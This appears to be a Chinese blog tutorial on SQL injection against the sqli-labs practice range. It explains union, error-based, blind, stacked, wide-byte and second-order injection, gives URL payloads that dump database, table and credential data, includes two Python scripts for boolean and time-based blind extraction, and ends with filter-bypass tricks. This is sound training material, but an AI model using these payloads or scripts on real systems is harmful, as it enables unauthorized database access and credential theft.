作者:永不落的梦想
作者主页:传送
座右铭:过去属于死神,未来属于自己
本文专栏:Web漏洞篇
今日鸡汤:发光并非太阳的专利,你也可以发光
目录
一、SQL注入漏洞概述
二、MySQL基础
1. 基本查询语句
2. 符号
3. 重要函数
4. 重要数据库、表、字段名
三、SQL注入漏洞分类
四、SQL注入基本流程
1. 构造闭合
2. 确定查询字段数
3. 确定回显位
4. 查询数据库名
5. 查询数据库的表名
6. 查询表的字段名
7. 查询字段的数据
五、注入方式详解
1. 联合注入
2. 报错注入
3. 布尔盲注
4. 时间盲注
5. 堆叠注入
6. 宽字节注入
7. 二次注入
8.其他注入
六、绕过
1. 空格过滤
2. substr()、sleep()、if()过滤
3. 空flag
4.等号=过滤
5.and、or过滤
6.引号过滤
7.比较运输符过滤
8.注释符#过滤
9.黑名单限制
SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞可以访问或修改数据库数据,或者利用潜在的数据库漏洞进行攻击;
SQL注入是一种将SQL语句插入到用户的输入参数中、输入参数被数据库服务器解析执行的攻击方式;
任何客户端可控,传递到服务器的变量,并且与数据库进行交换,都可能存在SQL注入漏洞;
在处理程序和数据库交互时,直接拼接字符串构造SQL语句或未经严格过滤都将造成SQL注入漏洞;
①select [distinct] 字段名 [as 别名] from 表名 [where 查询条件] [group by 分组字段 having 分组后的查询条件] [order by 排序字段 desc/asc] [limit 分页参数]
②select 字段1,字段2 from 表名1 where 查询条件 union select 字段3,字段4 from 表名2
> | < |
>= | <= |
= | != |
and(&&) | or(||) |
like | in |
substr(str,start,len) | 返回str自start个字符起长len个字符的字符串 |
group_concat(str1,str2,……) | 返回多个字符串以逗号作为分隔拼接的字符串 |
concat(str1,str2,……) | 返回多个字符串拼接后的字符串 |
sleep(n) | 睡眠n秒钟 |
length(str) | 返回字符串长度 |
if(value,true,false) | value为真执行true、为假执行flase |
version() | 返回数据库版本信息 |
database() | 返回当前数据库名 |
user() | 返回用户名 |
current_user() | 返回当前用户名 |
system_user() | 返回系统用户名 |
@@datadir | 返回数据库安装路径 |
@@basedir | 返回MySQL安装路径 |
@@version_compile_os | 返回操作系统版本信息 |
information_schema数据库,记录了所有数据库的信息;
information_schema.schemata表,记录了所有数据库信息,其中schema_name字段为数据库名;
information_schema.tables表,记录了所有表信息,其中table_name字段为表名;
information_schema.columns表,记录了所有字段信息,其中column_name为字段名;
按数据类型分类 | |
数字型(不需要闭合) | 字符型(需要闭合) |
按注入方式分类 | |
联合注入 | 报错注入 |
时间盲注 | 布尔盲注 |
堆叠注入 | 宽字节注入 |
二次注入 | DNSlog注入 |
传参?id=1,查询正常;
传参?id=1',出现报错,分析''1'' LIMIT 0,1'可知,最外层单引号是页面回显自带的,即'1'' LIMIT 0,1才是SQL语句的内容,1左边多的一个单引号是用户输入的,因此'1'是单引号闭合;
传参?id=1' order by 4%23,出现报错(%23为注释符#的url编码,get用%23,post用#);
传参?id=1' order by 3%23,查询正常,说明查询字段数为3;
传参?id=0' union select 1,2,3%23,回显2和3,说明回显位是第二和第三位;
传参?id=0' union select 1,2,database()%23,可得当前数据库为security;
传参?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata %23,可得所有数据库名为information_schema和security;
传参?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23,可得当前数据库security的表名;
传参?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23,可得users表的字段名;
传参?id=0' union select 1,group_concat(username),group_concat(password) from users%23,可得users表的username和password字段的值;
原理
通过union关键字实现一条SQL语句查询两张表的数据并将查询到的数据以相同的格式返回;
注入场景
union、select、#等关键字未被过滤或者可以绕过过滤;
union前后两次查询的字段数一致;
有回显位;
注入流程
①构造闭合——输入' " # \等字符结合回显信息可判断闭合方式;
②使用order by确定查询字段数——order by 数字n表示按照第n个字段查询,当第n个字段不存在时会报错,以此可确定字段数 ;
③绕过union、select等关键字过滤——双写绕过、大小写绕过、/**/或()绕过空格等;
④确定显示位——使用union select 1,2,3……确定回显位,当回显记录数不足时需将union前的查询输入空查询或用limit分页查询或用group_concat()函数拼接,当回显长度数不足时使用substr()函数分块查询回显;
⑤查询数据库、表、字段名和数据;
原理
updatexml()等报错函数的第二个参数必需为Xpath格式否则报错,当第二个参数为SQL语句时,会执行SQL语句并将执行结果作为报错内容回显;
注入场景
页面无查询结果回显,但有SQL语句报错信息回显;
案例
传参?id=1,无查询数据回显;
传参?id=1',出现SQL语句报错信息;
由以上可判断,应使用报错注入,并且是单引号闭合,按以下传参查询数据:
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
# 返回数据库名:security
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)%23
# 返回表名:emails,referers,uagents,users
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)%23
# 返回字段名:id,username,password
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)%23
# 返回查询数据:Dumb,Angelina,Dummy,secure
# 此处报错回显长度不足,可以使用substr()函数分块回显
原理
页面只有代表True和False的回显时,通过or、and连接构造的判断语句根据回显True或False可一步一步确定查询数据的每一个字符,编写python脚本可快速返回查询数据;
注入场景
只有代表True和False的两种回显输出;
案例
无论输入什么只有以下两种回显,判断为布尔盲注;
通过简单测试构造闭合为1'#,编写python脚本查询数据,脚本中只需改变sql变量的SQL查询语句即可,布尔盲注python脚本如下:
# 布尔盲注python脚本
import requests
url = 'http://sqli-labs/Less-8/' # 请求的url
sql = 'select database()' # SQL查询语句,依次查询数据库名、表名、字段名、数据
flag = '' # flag表示目标值
for i in range(1, 100): # 假设flag长度为1-100
left = 0 # 最小ASCII码
right = 127 # 最大ASCII码
mid = (left + right) // 2 # 使用二分法查找flag的每个字符的ASCII码
while 1:
payload = {'id': f"1' and ascii(substr(({sql}),{i},1))>{mid}#"}
res = requests.get(url, params=payload)
if 'You are in' in res.text: # 布尔盲注为True时的回显
left = mid
mid = (left + right) // 2
else:
right = mid
mid = (left + right) // 2
if mid == 1:
break
elif (right - left) <= 1:
flag += chr(right) # 将查询到的ASCII码转字符拼接到flag中
print(flag)
break
# 当查询字符串全部已输出时,substr返回空字符而mid最后值为1,以此作为结束循环的标志
if mid == 1:
print('已输出所有字符')
break
sql='select database()'时输出数据库名:security
sql='select group_concat(table_name) from information_schema.tables where table_schema="security"'时输出表名:emails,referers,uagents,users
…………略
原理
使用sleep()和if()函数构造payload,通过页面回显时间判断payload内的条件是否正确,进而确定查询数据的每一个字符;
注入场景
页面只有一种回显
案例
经测试,无论输入什么,页面都只有一种回显,可以判断为时间盲注,并且为单引号闭合;
时间盲注python脚本如下,只需改变sql变量的SQL查询语句即可:
# 时间盲注python脚本
import requests
import time
url = 'http://sqli-labs/Less-9/' # 请求的url
sql = 'select database()' # SQL查询语句,依次查询数据库名、表名、字段名、数据
flag = '' # flag表示目标值
for i in range(1, 100): # 假设flag长度为1-100
left = 0 # 最小ASCII码
right = 127 # 最大ASCII码
mid = (left + right) // 2 # 使用二分法查找flag的每个字符的ASCII码
while 1:
payload = {'id': f"1' and if(ascii(substr(({sql}),{i},1))>{mid},sleep(3),1)#"}
time_start = time.time() # 记录发起请求时的时间
res = requests.get(url, params=payload)
if time.time()-time_start > 3: # 计算时间差,时间盲注为True时页面sleep(3)
left = mid
mid = (left + right) // 2
else:
right = mid
mid = (left + right) // 2
if mid == 1:
break
elif (right - left) <= 1:
flag += chr(right) # 将查询到的ASCII码转字符拼接到flag中
print(flag)
break
# 当查询字符串全部已输出时,substr返回空字符而mid最后值为1,以此作为结束循环的标志
if mid == 1:
print('已输出所有字符')
break
时间盲注比较耗时间,特别是在网络状况不好的情况下需要将sleep时间设置大一点才能保证结果的正确性,这更加消耗时间;
时间盲注虽然只有一种回显,但是源代码不一定完全相同,可以找出其差异使用布尔盲注来提高效率;
原理
输入SQL语句结束符 ; 并且在结束符后插入新的SQL语句,导致服务器执行多条SQL语句,以此执行攻击者想执行的SQL语句;
注入场景
服务器使用了一次可执行多条SQL语句的函数连接数据库查询数据(如php中的mysqli_multi_query()函数);
原理
为防止SQL注入攻击,有时会对用户输入的单引号、双引号等特殊字符前加反斜杠 \ 转义,而在精心构造的payload中,加入的反斜杠 \ 与原引号前的字符组合成宽字节的汉字,反斜杠\的转义作用也就失效了,引号等字符可以正常起作用;
注入场景
数据库与php编码方式不同(如php使用utf-8编码、数据库使用GBK编码);
案例
输入单双引号都正常回显;
传参?id=1%df ',出现SQL语句报错,说明单引号其作用了,而%df与反斜杠\组合成了宽字节的汉字,可以确定为宽字节注入,并且是单引号闭合;
使用%df绕过反斜杠\转义,然后构造闭合正常注入即可;
原理
输入的恶意数据被防御机制转义不起作用,而存储到数据库的数据是未转义的恶意数据,当数据库下次查询恶意数据时造成SQL二次注入攻击;
注入场景
恶意数据在未被过滤或转义的情况下被存储到数据库;
DNSlog注入、quine注入等等;
使用注释符/**/、括号()、%0a等代替空格的作用、或updatexml注入不需要空格;
使用mid()、substring()函数代替substr(),使用benchmark()、笛卡尔积函数代替sleep(),使用case when语句代替if();
当select flag from flag查询为空时,可能是未指定数据库的原因,改为select flag from ctf.flag
使用like+通配符%或_代替;
大小写绕过、双写绕过、替换为符号(and->&&、or->||);
编码hex()或char()绕过、宽字节注入;
greatest()返回最大值、least()返回最小值;
前后同时闭合;
select group_concat('a','d','m','i','n') 等效于 admin;
SQL注入工具:sqlmap,SQL注入靶场:sqli-labs